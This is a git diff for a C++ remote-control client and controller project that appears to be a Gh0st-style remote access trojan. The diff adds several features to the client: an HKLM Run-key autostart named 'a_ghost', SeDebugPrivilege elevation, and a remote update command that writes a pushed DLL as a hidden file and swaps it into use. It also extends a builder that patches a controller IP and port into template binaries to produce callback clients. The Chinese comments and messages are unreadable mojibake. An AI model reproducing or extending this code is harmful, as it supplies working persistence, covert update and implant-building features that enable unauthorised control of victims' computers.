diff --git a/ReadMe.txt b/ReadMe.txt index d2e5ea3..6ed1e03 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -238,6 +238,7 @@ reorg: Move commands to common/commands.h 此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。 2024.12.28 -修改了注册指令内容,新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段,以便未来之需。 -主控程序增加显示被控端版本信息,以便未来针对老版本实现在线更新的能力。 +1.修改了注册指令内容,新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段,以便未来之需。 +2.解决客户端接收大数据包的问题! 主控程序增加显示被控端版本信息,以便实现针对老版本在线更新(仅限基于TestRun的服务)的能力。 在主控程序上面增加了显示被控端启动时间的功能,以便掌握被控端程序的稳定性。 +3.完善生成服务程序的功能。 diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 1707c98..861c856 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -9,11 +9,13 @@ #include "KernelManager.h" using namespace std; -// Զ̵ַ -char g_szServerIP[MAX_PATH] = {0}; -unsigned short g_uPort = 0; +// Զעеֵ +#define REG_NAME "a_ghost" -// Ӧó״̬1-ض˳ 2-ض˳ +// Զ̵ַ +CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0}; + +// Ӧó״̬1-ض˳ 2-ض˳ 3- BOOL g_bExit = 0; // ߳״̬ BOOL g_bThreadExit = 0; @@ -25,6 +27,60 @@ DWORD WINAPI StartClient(LPVOID lParam); enum { E_RUN, E_STOP } status; +//Ȩ +void DebugPrivilege() +{ + HANDLE hToken = NULL; + //򿪵ǰ̵ķ + int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); + + if (hRet) + { + TOKEN_PRIVILEGES tp; + tp.PrivilegeCount = 1; + //ȡȨ޵LUID + LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + //ƵȨ + AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); + + CloseHandle(hToken); + } +} + +/** +* @brief ñ +* @param[in] *sPath ע· +* @param[in] *sNmae ע +* @return ע +* @details Win7 64λϲԽעڣ\n +* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run +* @note ״ҪԹԱȨУעд뿪 +*/ +BOOL SetSelfStart(const char* sPath, const char* sNmae) +{ + DebugPrivilege(); + + // дע· +#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" + + // עдϢ + HKEY hKey = NULL; + LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); + + // жǷɹ + if (lRet != ERROR_SUCCESS) + return FALSE; + + lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); + + // رע + RegCloseKey(hKey); + + // жǷɹ + return lRet == ERROR_SUCCESS; +} + // ؿ̨ // οhttps://blog.csdn.net/lijia11080117/article/details/44916647 // step1: "߼"ڵΪmainCRTStartup @@ -44,12 +100,13 @@ BOOL CALLBACK callback(DWORD CtrlType) int main(int argc, const char *argv[]) { - status = E_RUN; - if (argc < 3) + if (!SetSelfStart(argv[0], REG_NAME)) { - std::cout<<".\n"; - return -1; + std::cout << "ÿʧܣùԱȨ.\n"; } + + status = E_RUN; + HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe"); if (ERROR_ALREADY_EXISTS == GetLastError()) { @@ -58,12 +115,16 @@ int main(int argc, const char *argv[]) } SetConsoleCtrlHandler(&callback, TRUE); - const char *szServerIP = argv[1]; - int uPort = atoi(argv[2]); - printf("[server] %s:%d\n", szServerIP, uPort); - - memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); - g_uPort = uPort; + if (argc>=3) + { + g_SETTINGS.SetServer(argv[1], atoi(argv[2])); + } + if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) { + printf(": ṩԶIPͶ˿!\n"); + Sleep(3000); + return -1; + } + printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); do{ g_bExit = 0; @@ -103,9 +164,8 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, // һghost extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { - g_bExit = false; - memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); - g_uPort = uPort; + g_bExit = FALSE; + g_SETTINGS.SetServer(szServerIP, uPort); HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); if (hThread == NULL) { @@ -126,7 +186,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; } extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } // Ƿ˳ͻ -extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; } +extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; } #endif @@ -138,7 +198,7 @@ DWORD WINAPI StartClient(LPVOID lParam) while (!g_bExit) { DWORD dwTickCount = GetTickCount64(); - if (!ClientObject->ConnectServer(g_szServerIP, g_uPort)) + if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { for (int k = 500; !g_bExit && --k; Sleep(10)); continue; diff --git a/client/Common.cpp b/client/Common.cpp index 445869d..b13f237 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -10,10 +10,9 @@ #include "RegisterManager.h" #include "ServicesManager.h" #include "VideoManager.h" -#include "KernelManager.h" +#include "KernelManager.h" -extern char g_szServerIP[MAX_PATH]; -extern unsigned short g_uPort; +extern CONNECT_ADDRESS g_SETTINGS; HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, SIZE_T dwStackSize, @@ -53,7 +52,7 @@ template DWORD WINAPI LoopManager(LPVOID lParam) { ThreadInfo *pInfo = (ThreadInfo *)lParam; IOCPClient *ClientObject = pInfo->p; - if (ClientObject->ConnectServer(g_szServerIP,g_uPort)) + if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Manager m(ClientObject, n); ClientObject->RunEventLoop(pInfo->run); diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 30053bb..cfe54c5 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -101,7 +101,7 @@ inline string GetIPAddress(const char *hostName) return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : ""; } -BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort) +BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) { m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); // diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 1c91ab1..ae55eb3 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -34,7 +34,7 @@ public: BOOL m_bWorkThread; HANDLE m_hWorkThread; - BOOL ConnectServer(char* szServerIP, unsigned short uPort); + BOOL ConnectServer(const char* szServerIP, unsigned short uPort); static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 6df4dd2..60af449 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -5,6 +5,10 @@ #include "stdafx.h" #include "KernelManager.h" #include "Common.h" +#include +#include +#include + ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// @@ -48,6 +52,56 @@ UINT CKernelManager::GetAvailableIndex() { return -1; } +BOOL WriteBinaryToFile(const char* data, ULONGLONG size) +{ + if (size > 32 * 1024 * 1024) { + std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl; + return FALSE; + } + + char path[_MAX_PATH], * p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + strcpy(p + 1, "ServerDll.new"); + if (_access(path, 0)!=-1) + { + DeleteFileA(path); + } + // ļԶģʽд + std::string filePath = path; + std::ofstream outFile(filePath, std::ios::binary); + + if (!outFile) + { + std::cerr << "Failed to open or create the file: " << filePath << std::endl; + return FALSE; + } + + // д + outFile.write(data, size); + + if (outFile.good()) + { + std::cout << "Binary data written successfully to " << filePath << std::endl; + } + else + { + std::cerr << "Failed to write data to file." << std::endl; + outFile.close(); + return FALSE; + } + + // رļ + outFile.close(); + // ļΪ + if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN)) + { + std::cout << "File created and set to hidden: " << filePath << std::endl; + } + return TRUE; +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -161,6 +215,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_UPDATE: + { + if (m_ulThreadCount != -1) { + delete m_hThread[m_ulThreadCount].p; + m_hThread[m_ulThreadCount].p = NULL; + } + ULONGLONG size=0; + memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); + if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { + extern BOOL g_bExit; + g_bExit = 3; + } + break; + } + default: { OutputDebugStringA("======> Error operator\n"); diff --git a/client/test.cpp b/client/test.cpp index 08a0f05..86c9128 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -11,6 +11,8 @@ typedef void (*StopRun)(); typedef bool (*IsStoped)(); +typedef BOOL (*IsExit)(); + // ֹͣ StopRun stop = NULL; @@ -18,7 +20,7 @@ StopRun stop = NULL; IsStoped bStop = NULL; // Ƿ˳ض -IsStoped bExit = NULL; +IsExit bExit = NULL; BOOL status = 0; @@ -90,6 +92,9 @@ BOOL CALLBACK callback(DWORD CtrlType) return TRUE; } +// г. +BOOL Run(const char* argv1, int argv2); + // @brief ȶȡsettings.iniļȡIPͶ˿. // [settings] // localIp=XXX @@ -103,44 +108,100 @@ int main(int argc, const char *argv[]) } status = 0; SetConsoleCtrlHandler(&callback, TRUE); - char path[_MAX_PATH], *p = path; + + do { + BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.szServerIP) == 0 ? "127.0.0.1" : g_ConnectAddress.szServerIP), + argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.iPort == 0 ? 6543 : g_ConnectAddress.iPort)); + if (ret == 1) { + return -1; + } + } while (status == 0); + + status = 0; + return -1; +} + +// в: IP ˿. +BOOL Run(const char* argv1, int argv2) { + BOOL result = FALSE; + char path[_MAX_PATH], * p = path; GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; while ('\\' != *p) --p; - strcpy(p+1, "ServerDll.dll"); + *(p + 1) = 0; + std::string folder = path; + std::string oldFile = folder + "ServerDll.old"; + std::string newFile = folder + "ServerDll.new"; + strcpy(p + 1, "ServerDll.dll"); + BOOL ok = TRUE; + if (_access(newFile.c_str(), 0) != -1) { + if (_access(oldFile.c_str(), 0) != -1) + { + if (!DeleteFileA(oldFile.c_str())) + { + std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl; + ok = FALSE; + } + } + if (ok && !MoveFileA(path, oldFile.c_str())) { + std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; + ok = FALSE; + }else { + // ļΪ + if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) + { + std::cout << "File created and set to hidden: " << oldFile << std::endl; + } + } + if (ok && !MoveFileA(newFile.c_str(), path)) { + std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; + MoveFileA(oldFile.c_str(), path);// recover + }else if (ok){ + std::cout << "Using new file: " << newFile << std::endl; + } + } HMODULE hDll = LoadLibraryA(path); - typedef void (*TestRun)(char* strHost,int nPort); + typedef void (*TestRun)(char* strHost, int nPort); TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL; stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL; bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL; - bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL; + bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL; if (run) { - char *ip = g_ConnectAddress.szServerIP; - int &port = g_ConnectAddress.iPort; + char* ip = g_ConnectAddress.szServerIP; + int& port = g_ConnectAddress.iPort; strcpy(p + 1, "settings.ini"); if (_access(path, 0) == -1) { // ļ: ȴӲȡֵǴg_ConnectAddressȡֵ. - ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip); - port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port); - } else { + strcpy(ip, argv1); + port = argv2; + } + else { GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path); port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path); } printf("[server] %s:%d\n", ip, port); - do + do { run(ip, port); - while(bStop && !bStop() && 0 == status) + while (bStop && !bStop() && 0 == status) Sleep(20); } while (bExit && !bExit() && 0 == status); - while(bStop && !bStop() && 1 == status) + while (bStop && !bStop() && 1 == status) Sleep(20); + if (bExit) { + result = bExit(); + } + if (!FreeLibrary(hDll)) { + printf("ͷŶ̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); + } + else { + printf("ͷŶ̬ӿ\"ServerDll.dll\"ɹ!\n"); + } } else { - printf("ض̬ӿ\"ServerDll.dll\"ʧ.\n"); + printf("ض̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); Sleep(3000); } - status = 0; - return -1; -} + return result; +} \ No newline at end of file diff --git a/common/commands.h b/common/commands.h index 63f7780..c484db1 100644 --- a/common/commands.h +++ b/common/commands.h @@ -9,6 +9,8 @@ #define FLAG_FINDEN 0x1234567 +#define FLAG_GHOST 0x7654321 + // Է仯ʱӦøֵԱԱس #define DLL_VERSION "20241228" // DLL汾 @@ -84,6 +86,7 @@ enum COMMAND_SERVICES, // COMMAND_REGEDIT, COMMAND_TALK, // ʱϢ֤ + COMMAND_UPDATE = 53, // ͻ // ˷ıʶ TOKEN_AUTH = 100, // Ҫ֤ @@ -139,6 +142,16 @@ typedef struct CONNECT_ADDRESS unsigned long dwFlag; char szServerIP[_MAX_PATH]; int iPort; + const char* ServerIP()const { + return szServerIP; + } + int ServerPort()const { + return iPort; + } + void SetServer(const char* ip, int port) { + strcpy_s(szServerIP, ip); + iPort = port; + } } CONNECT_ADDRESS ; // ߺ͵ļϢ diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 4bb5e3b..7669d6c 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 7953050..e194e9d 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -125,7 +125,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE); - m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE); + m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE); + m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE); InitializeCriticalSection(&m_cs); } @@ -153,6 +154,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline) ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage) ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete) + ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate) ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout) ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager) @@ -631,7 +633,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) } Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]); - Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); + Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); + Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]); SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); *pResult = 0; @@ -644,6 +647,56 @@ void CMy2015RemoteDlg::OnOnlineMessage() SendSelectedCommand(&bToken, sizeof(BYTE)); } +char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) { + fileSize = 0; + try { + // ļֻģʽ + CFile file(filePath, CFile::modeRead | CFile::typeBinary); + + // ȡļС + fileSize = file.GetLength(); + + // ڴ滺: ͷ+ļС+ļ + char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast(fileSize) + 1]; + if (!buffer) { + return NULL; + } + memcpy(buffer+1, &fileSize, sizeof(ULONGLONG)); + // ȡļݵ + file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast(fileSize)); + buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // ַ + + // ͷڴ + return buffer; + } + catch (CFileException* e) { + // ļ쳣 + TCHAR errorMessage[256]; + e->GetErrorMessage(errorMessage, 256); + e->Delete(); + return NULL; + } + +} + +void CMy2015RemoteDlg::OnOnlineUpdate() +{ + char path[_MAX_PATH], * p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + strcpy(p + 1, "ServerDll.dll"); + ULONGLONG fileSize = 0; + char *buffer = ReadFileToMemory(path, fileSize); + if (buffer) { + buffer[0] = COMMAND_UPDATE; + SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1); + delete[] buffer; + } + else { + AfxMessageBox("ȡļʧ: "+ CString(path)); + } +} void CMy2015RemoteDlg::OnOnlineDelete() { diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 08d75db..d013a9e 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -72,13 +72,14 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; - CBitmap m_bmOnline[2]; + CBitmap m_bmOnline[3]; afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnOnlineMessage(); afx_msg void OnOnlineDelete(); + afx_msg void OnOnlineUpdate(); afx_msg void OnAbout(); afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam); afx_msg void OnNotifyShow(); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index a6ade11..cc7c977 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -202,8 +202,10 @@ + + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index cf142e3..b6f5e82 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -13,8 +13,6 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); -CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0}; - CBuildDlg::CBuildDlg(CWnd* pParent) : CDialog(CBuildDlg::IDD, pParent) , m_strIP(_T("")) @@ -32,6 +30,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) CDialog::DoDataExchange(pDX); DDX_Text(pDX, IDC_EDIT_IP, m_strIP); DDX_Text(pDX, IDC_EDIT_PORT, m_strPort); + DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe); } @@ -54,7 +53,16 @@ void CBuildDlg::OnBnClickedOk() BYTE * szBuffer=NULL; DWORD dwFileSize; UpdateData(TRUE); + int index = m_ComboExe.GetCurSel(); + CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : ""); + if (file.IsEmpty()) + { + MessageBox("Ч, ɷ!"); + return CDialog::OnOK(); + } + unsigned long flag = index == 0 ? FLAG_FINDEN : (index == 1 ? FLAG_GHOST : FLAG_FINDEN); //////////Ϣ////////////////////// + CONNECT_ADDRESS g_ConnectAddress = { flag,"",0 }; strcpy(g_ConnectAddress.szServerIP,m_strIP); //IP g_ConnectAddress.iPort=atoi(m_strPort); //˿ @@ -67,12 +75,12 @@ void CBuildDlg::OnBnClickedOk() GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; while ('\\' != *p) --p; - strcpy(p+1, "TestRun.exe"); + strcpy(p+1, file.GetString()); strFile = path; //õǰδļ if (_access(path, 0) == -1) { - MessageBox(CString(path)+"\r\nģ\"TestRun.exe\"!"); + MessageBox(CString(path) + "\r\nģ\"" + file + "\"!"); return CDialog::OnOK(); } @@ -88,11 +96,21 @@ void CBuildDlg::OnBnClickedOk() File.Close(); //дIPͶ˿ ҪѰ0x1234567ʶȻдλ int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD)); + if (iOffset==-1) + { + MessageBox(CString(path) + "\r\nģ\"" + file + "\"֧!"); + return; + } memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress)); //浽ļ strcpy(p+1, "ClientDemo.exe"); strSeverFile = path; - File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); + DeleteFileA(path); + BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); + if (!r) { + MessageBox(strSeverFile + "\r\n\"" + strSeverFile + "\"ʧ!"); + return CDialog::OnOK(); + } File.Write(szBuffer,dwFileSize); File.Close(); delete[] szBuffer; @@ -123,8 +141,22 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS for (i = 0; i < iBufferSize; ++i) { for (j = 0; j < iKeySize; j ++) - if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12 + if (szBuffer[i+j] != Key[j]) break; if (j == iKeySize) return i; } return -1; } + + +BOOL CBuildDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // TODO: ڴӶijʼ + m_ComboExe.InsertString(0, "TestRun.exe"); + m_ComboExe.InsertString(1, "ghost.exe"); + m_ComboExe.SetCurSel(0); + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 6c54dd2..6b3d241 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -22,4 +22,6 @@ public: CString m_strIP; CString m_strPort; afx_msg void OnBnClickedOk(); + virtual BOOL OnInitDialog(); + CComboBox m_ComboExe; }; diff --git a/server/2015Remote/res/delete.bmp b/server/2015Remote/res/delete.bmp new file mode 100644 index 0000000..635f56b Binary files /dev/null and b/server/2015Remote/res/delete.bmp differ diff --git a/server/2015Remote/res/update.bmp b/server/2015Remote/res/update.bmp new file mode 100644 index 0000000..1d3e86f Binary files /dev/null and b/server/2015Remote/res/update.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 89cd1c6..429bc81 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ